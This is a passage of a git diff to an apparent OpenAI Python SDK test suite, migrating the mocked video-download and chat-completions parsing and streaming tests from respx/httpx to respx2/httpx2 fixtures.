+ def test_method_download_content_with_all_params(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
video = client.videos.download_content(
video_id="video_123",
variant="video",
@@ -237,9 +237,9 @@ def test_method_download_content_with_all_params(self, client: OpenAI, respx_moc
assert video.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_download_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.videos.with_raw_response.download_content(
video_id="video_123",
@@ -251,9 +251,9 @@ def test_raw_response_download_content(self, client: OpenAI, respx_mock: MockRou
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, video, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_download_content(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_download_content(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.videos.with_streaming_response.download_content(
video_id="video_123",
) as response:
@@ -266,7 +266,7 @@ def test_streaming_response_download_content(self, client: OpenAI, respx_mock: M
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
def test_path_params_download_content(self, client: OpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
client.videos.with_raw_response.download_content(
@@ -617,9 +617,9 @@ async def test_streaming_response_create_character(self, async_client: AsyncOpen
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_download_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_download_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
video = await async_client.videos.download_content(
video_id="video_123",
)
@@ -627,11 +627,11 @@ async def test_method_download_content(self, async_client: AsyncOpenAI, respx_mo
assert video.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_method_download_content_with_all_params(
- self, async_client: AsyncOpenAI, respx_mock: MockRouter
+ self, async_client: AsyncOpenAI, respx2_mock: MockRouter
) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
video = await async_client.videos.download_content(
video_id="video_123",
variant="video",
@@ -640,9 +640,9 @@ async def test_method_download_content_with_all_params(
assert video.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_download_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_download_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.videos.with_raw_response.download_content(
video_id="video_123",
@@ -654,9 +654,11 @@ async def test_raw_response_download_content(self, async_client: AsyncOpenAI, re
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, video, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_streaming_response_download_content(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/videos/video_123/content").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_streaming_response_download_content(
+ self, async_client: AsyncOpenAI, respx2_mock: MockRouter
+ ) -> None:
+ respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
async with async_client.videos.with_streaming_response.download_content(
video_id="video_123",
) as response:
@@ -669,7 +671,7 @@ async def test_streaming_response_download_content(self, async_client: AsyncOpen
assert cast(Any, response.is_closed) is True
@parametrize
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_path_params_download_content(self, async_client: AsyncOpenAI) -> None:
with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
await async_client.videos.with_raw_response.download_content(
diff --git a/tests/conftest.py b/tests/conftest.py
index 8128f1515b..ff3671cb0c 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -3,22 +3,21 @@
from __future__ import annotations
import os
-import sys
import logging
from typing import TYPE_CHECKING, Iterator, AsyncIterator
-import httpx
+import httpx2
import pytest
from pytest_asyncio import is_async_test
from openai import OpenAI, AsyncOpenAI, DefaultHttpx2Client, DefaultAioHttpClient, DefaultAsyncHttpx2Client
from openai._utils import is_dict
-from ._httpx2_respx import enable_httpx2_respx
-
if TYPE_CHECKING:
from _pytest.fixtures import FixtureRequest # pyright: ignore[reportPrivateImportUsage]
+pytest_plugins = ["tests.respx2.plugin"]
+
pytest.register_assert_rewrite("tests.utils")
logging.getLogger("openai").setLevel(logging.DEBUG)
@@ -34,7 +33,7 @@ def pytest_collection_modifyitems(items: list[pytest.Function]) -> None:
# RESPX cannot mock requests made by the aiohttp adapter.
for item in items:
- if "respx_mock" not in item.fixturenames:
+ if "respx2_mock" not in item.fixturenames:
continue
if "async_client" not in item.fixturenames:
@@ -45,25 +44,16 @@ def pytest_collection_modifyitems(items: list[pytest.Function]) -> None:
async_client_param = item.callspec.params.get("async_client")
if is_dict(async_client_param) and async_client_param.get("http_client") == "aiohttp":
- item.add_marker(pytest.mark.skip(reason="aiohttp client is not compatible with respx_mock"))
+ item.add_marker(pytest.mark.skip(reason="aiohttp client is not compatible with respx2_mock"))
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
-test_http_client = os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx")
+test_http_client = os.environ.get("OPENAI_TEST_HTTP_CLIENT", "httpx2")
api_key = "My API Key"
admin_api_key = "My Admin API Key"
-@pytest.fixture(autouse=True)
-def patch_httpx2_respx(request: FixtureRequest, monkeypatch: pytest.MonkeyPatch) -> None:
- if test_http_client != "httpx2" or "respx_mock" not in request.fixturenames:
- return
-
- router = request.getfixturevalue("respx_mock")
- enable_httpx2_respx(router, monkeypatch, replace_sdk_defaults=request.path.name != "test_httpx2_base.py")
-
-
@pytest.fixture(scope="session")
def client(request: FixtureRequest) -> Iterator[OpenAI]:
strict = getattr(request, "param", True)
@@ -88,7 +78,7 @@ async def async_client(request: FixtureRequest) -> AsyncIterator[AsyncOpenAI]:
# defaults
strict = True
- http_client: None | httpx.AsyncClient = None
+ http_client: None | httpx2.AsyncClient = None
if isinstance(param, bool):
strict = param
@@ -96,11 +86,8 @@ async def async_client(request: FixtureRequest) -> AsyncIterator[AsyncOpenAI]:
strict = param.get("strict", True)
assert isinstance(strict, bool)
- http_client_type = param.get("http_client", "httpx")
+ http_client_type = param.get("http_client", "httpx2")
if http_client_type == "aiohttp":
- if sys.version_info < (3, 10):
- pytest.skip("the aiohttp client requires Python 3.10 or later")
-
http_client = DefaultAioHttpClient()
else:
raise TypeError(f"Unexpected fixture parameter type {type(param)}, expected bool or dict")
diff --git a/tests/lib/chat/test_completions.py b/tests/lib/chat/test_completions.py
index 741f5eaa75..609c4dbe4e 100644
--- a/tests/lib/chat/test_completions.py
+++ b/tests/lib/chat/test_completions.py
@@ -5,12 +5,12 @@
from typing_extensions import Literal, TypeVar
import pytest
-from respx import MockRouter
from pydantic import Field, BaseModel
from inline_snapshot import snapshot
import openai
from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
from openai._utils import assert_signatures_in_sync
from openai._compat import PYDANTIC_V1
@@ -28,8 +28,8 @@
# `OPENAI_LIVE=1 pytest --inline-snapshot=fix -p no:xdist -o addopts=""`
-@pytest.mark.respx(base_url=base_url)
-def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
completion = make_snapshot_request(
lambda c: c.chat.completions.parse(
model="gpt-4o-2024-08-06",
@@ -45,7 +45,7 @@ def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pyte
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion, monkeypatch) == snapshot(
@@ -93,8 +93,8 @@ def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pyte
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_model(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_model(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -116,7 +116,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion, monkeypatch) == snapshot(
@@ -163,9 +163,9 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
def test_parse_pydantic_model_optional_default(
- client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
) -> None:
class Location(BaseModel):
city: str
@@ -188,7 +188,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion, monkeypatch) == snapshot(
@@ -235,8 +235,8 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_model_enum(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_model_enum(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Color(Enum):
"""The detected color"""
@@ -264,7 +264,7 @@ class ColorDetection(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices[0], monkeypatch) == snapshot(
@@ -288,9 +288,9 @@ class ColorDetection(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
def test_parse_pydantic_model_multiple_choices(
- client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
) -> None:
class Location(BaseModel):
city: str
@@ -314,7 +314,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices, monkeypatch) == snapshot(
@@ -370,9 +370,9 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
@pytest.mark.skipif(PYDANTIC_V1, reason="dataclasses only supported in v2")
-def test_parse_pydantic_dataclass(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+def test_parse_pydantic_dataclass(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
from pydantic.dataclasses import dataclass
@dataclass
@@ -395,7 +395,7 @@ class CalendarEvent:
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion, monkeypatch) == snapshot(
@@ -442,8 +442,10 @@ class CalendarEvent:
)
-@pytest.mark.respx(base_url=base_url)
-def test_pydantic_tool_model_all_types(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_pydantic_tool_model_all_types(
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+) -> None:
completion = make_snapshot_request(
lambda c: c.chat.completions.parse(
model="gpt-4o-2024-08-06",
@@ -461,7 +463,7 @@ def test_pydantic_tool_model_all_types(client: OpenAI, respx_mock: MockRouter, m
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices[0], monkeypatch) == snapshot(
@@ -522,8 +524,8 @@ def test_pydantic_tool_model_all_types(client: OpenAI, respx_mock: MockRouter, m
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_max_tokens_reached(client: OpenAI, respx_mock: MockRouter) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_max_tokens_reached(client: OpenAI, respx2_mock: MockRouter) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -547,12 +549,12 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_model_refusal(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_model_refusal(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -574,7 +576,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices, monkeypatch) == snapshot(
@@ -600,8 +602,8 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_tool(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_tool(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class GetWeatherArgs(BaseModel):
city: str
country: str
@@ -625,7 +627,7 @@ class GetWeatherArgs(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices, monkeypatch) == snapshot(
@@ -661,8 +663,10 @@ class GetWeatherArgs(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_multiple_pydantic_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_multiple_pydantic_tools(
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+) -> None:
class GetWeatherArgs(BaseModel):
"""Get the temperature for the given country/city combo"""
@@ -699,7 +703,7 @@ class GetStockPrice(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices, monkeypatch) == snapshot(
@@ -744,8 +748,8 @@ class GetStockPrice(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_strict_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_strict_tools(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
completion = make_snapshot_request(
lambda c: c.chat.completions.parse(
model="gpt-4o-2024-08-06",
@@ -782,7 +786,7 @@ def test_parse_strict_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch:
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(completion.choices, monkeypatch) == snapshot(
@@ -837,8 +841,8 @@ def test_parse_non_strict_tools(client: OpenAI) -> None:
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_raw_response(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_raw_response(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -860,7 +864,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert response.http_request.headers.get("x-stainless-helper-method") == "chat.completions.parse"
@@ -912,10 +916,10 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
@pytest.mark.asyncio
async def test_async_parse_pydantic_raw_response(
- async_client: AsyncOpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+ async_client: AsyncOpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
) -> None:
class Location(BaseModel):
city: str
@@ -938,7 +942,7 @@ class Location(BaseModel):
),
path="/chat/completions",
mock_client=async_client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert response.http_request.headers.get("x-stainless-helper-method") == "chat.completions.parse"
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index 598a41ee2b..0b6200a71b 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -5,9 +5,8 @@
from typing_extensions import Literal, TypeVar
import rich
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
from pydantic import BaseModel
from inline_snapshot import (
external,
@@ -18,6 +17,7 @@
import openai
from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
from openai._utils import consume_sync_iterator, assert_signatures_in_sync
from openai._compat import model_copy
from openai.types.chat import ChatCompletionChunk
@@ -43,8 +43,8 @@
# `OPENAI_LIVE=1 pytest --inline-snapshot=fix -p no:xdist -o addopts=""`
-@pytest.mark.respx(base_url=base_url)
-def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
listener = _make_stream_snapshot_request(
lambda c: c.chat.completions.stream(
model="gpt-4o-2024-08-06",
@@ -57,7 +57,7 @@ def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pyte
),
content_snapshot=snapshot(external("e2aad469b71d*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.stream.get_final_completion().choices, monkeypatch) == snapshot(
@@ -94,8 +94,8 @@ def test_parse_nothing(client: OpenAI, respx_mock: MockRouter, monkeypatch: pyte
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_model(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_model(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -120,7 +120,7 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
),
content_snapshot=snapshot(external("7e5ea4d12e7c*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
on_event=on_event,
)
@@ -191,9 +191,9 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
def test_parse_pydantic_model_multiple_choices(
- client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
) -> None:
class Location(BaseModel):
city: str
@@ -214,7 +214,7 @@ class Location(BaseModel):
),
content_snapshot=snapshot(external("a491adda08c3*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert [e.type for e in listener.events] == snapshot(
@@ -371,8 +371,8 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_max_tokens_reached(client: OpenAI, respx_mock: MockRouter) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_max_tokens_reached(client: OpenAI, respx2_mock: MockRouter) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -393,12 +393,12 @@ class Location(BaseModel):
),
content_snapshot=snapshot(external("4cc50a6135d2*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_model_refusal(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_model_refusal(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -417,7 +417,7 @@ class Location(BaseModel):
),
content_snapshot=snapshot(external("173417d55340*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.get_event_by_type("refusal.done"), monkeypatch) == snapshot("""\
@@ -447,8 +447,8 @@ class Location(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_content_logprobs_events(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_content_logprobs_events(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
listener = _make_stream_snapshot_request(
lambda c: c.chat.completions.stream(
model="gpt-4o-2024-08-06",
@@ -462,7 +462,7 @@ def test_content_logprobs_events(client: OpenAI, respx_mock: MockRouter, monkeyp
),
content_snapshot=snapshot(external("83b060bae42e*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj([e for e in listener.events if e.type.startswith("logprobs")], monkeypatch) == snapshot("""\
@@ -521,8 +521,8 @@ def test_content_logprobs_events(client: OpenAI, respx_mock: MockRouter, monkeyp
""")
-@pytest.mark.respx(base_url=base_url)
-def test_refusal_logprobs_events(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_refusal_logprobs_events(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class Location(BaseModel):
city: str
temperature: float
@@ -542,7 +542,7 @@ class Location(BaseModel):
),
content_snapshot=snapshot(external("569c877e6942*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj([e.type for e in listener.events if e.type.startswith("logprobs")], monkeypatch) == snapshot("""\
@@ -633,8 +633,8 @@ class Location(BaseModel):
""")
-@pytest.mark.respx(base_url=base_url)
-def test_parse_pydantic_tool(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_pydantic_tool(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
class GetWeatherArgs(BaseModel):
city: str
country: str
@@ -655,7 +655,7 @@ class GetWeatherArgs(BaseModel):
),
content_snapshot=snapshot(external("c6aa7e397b71*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.stream.current_completion_snapshot.choices, monkeypatch) == snapshot(
@@ -725,8 +725,10 @@ class GetWeatherArgs(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_multiple_pydantic_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_multiple_pydantic_tools(
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+) -> None:
class GetWeatherArgs(BaseModel):
"""Get the temperature for the given country/city combo"""
@@ -760,7 +762,7 @@ class GetStockPrice(BaseModel):
),
content_snapshot=snapshot(external("f82268f2fefd*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.stream.current_completion_snapshot.choices, monkeypatch) == snapshot(
@@ -834,8 +836,8 @@ class GetStockPrice(BaseModel):
)
-@pytest.mark.respx(base_url=base_url)
-def test_parse_strict_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_parse_strict_tools(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
listener = _make_stream_snapshot_request(
lambda c: c.chat.completions.stream(
model="gpt-4o-2024-08-06",
@@ -869,7 +871,7 @@ def test_parse_strict_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch:
),
content_snapshot=snapshot(external("a247c49c5fcd*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.stream.current_completion_snapshot.choices, monkeypatch) == snapshot(
@@ -906,8 +908,8 @@ def test_parse_strict_tools(client: OpenAI, respx_mock: MockRouter, monkeypatch:
)
-@pytest.mark.respx(base_url=base_url)
-def test_non_pydantic_response_format(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_non_pydantic_response_format(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
listener = _make_stream_snapshot_request(
lambda c: c.chat.completions.stream(
model="gpt-4o-2024-08-06",
@@ -921,7 +923,7 @@ def test_non_pydantic_response_format(client: OpenAI, respx_mock: MockRouter, mo
),
content_snapshot=snapshot(external("d61558011839*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.stream.get_final_completion().choices, monkeypatch) == snapshot(
@@ -952,9 +954,9 @@ def test_non_pydantic_response_format(client: OpenAI, respx_mock: MockRouter, mo
)
-@pytest.mark.respx(base_url=base_url)
+@pytest.mark.respx2(base_url=base_url)
def test_allows_non_strict_tools_but_no_parsing(
- client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
+ client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch
) -> None:
listener = _make_stream_snapshot_request(
lambda c: c.chat.completions.stream(
@@ -972,7 +974,7 @@ def test_allows_non_strict_tools_but_no_parsing(
),
content_snapshot=snapshot(external("2018feb66ae1*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(listener.get_event_by_type("tool_calls.function.arguments.done"), monkeypatch) == snapshot("""\
@@ -1019,8 +1021,8 @@ def test_allows_non_strict_tools_but_no_parsing(
)
-@pytest.mark.respx(base_url=base_url)
-def test_chat_completion_state_helper(client: OpenAI, respx_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_chat_completion_state_helper(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
state = ChatCompletionStreamState()
def streamer(client: OpenAI) -> Iterator[ChatCompletionChunk]:
@@ -1042,7 +1044,7 @@ def streamer(client: OpenAI) -> Iterator[ChatCompletionChunk]:
streamer,
content_snapshot=snapshot(external("e2aad469b71d*.bin")),
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert print_obj(state.get_final_completion().choices, monkeypatch) == snapshot(
@@ -1104,7 +1106,7 @@ def _make_stream_snapshot_request(
func: Callable[[OpenAI], ChatCompletionStreamManager[ResponseFormatT]],
*,
content_snapshot: Any,
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
mock_client: OpenAI,
on_event: Callable[[ChatCompletionStream[ResponseFormatT], ChatCompletionStreamEvent[ResponseFormatT]], Any]
| None = None,
@@ -1112,22 +1114,22 @@ def _make_stream_snapshot_request(
live = os.environ.get("OPENAI_LIVE") == "1"
if live:
- def _on_response(response: httpx.Response) -> None:
+ def _on_response(response: httpx2.Response) -> None:
# update the content snapshot
assert outsource(response.read()) == content_snapshot
- respx_mock.stop()
+ respx2_mock.stop()
client = OpenAI(
- http_client=httpx.Client(
+ http_client=httpx2.Client(
event_hooks={
"response": [_on_response],
}
)
)
else:
- respx_mock.post("/chat/completions").mock(
- return_value=httpx.Response(
+ respx2_mock.post("/chat/completions").mock(
+ return_value=httpx2.Response(
200,
content=get_snapshot_value(content_snapshot),
headers={"content-type": "text/event-stream"},
@@ -1153,28 +1155,28 @@ def _make_raw_stream_snapshot_request(
func: Callable[[OpenAI], Iterator[ChatCompletionChunk]],
*,
content_snapshot: Any,
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
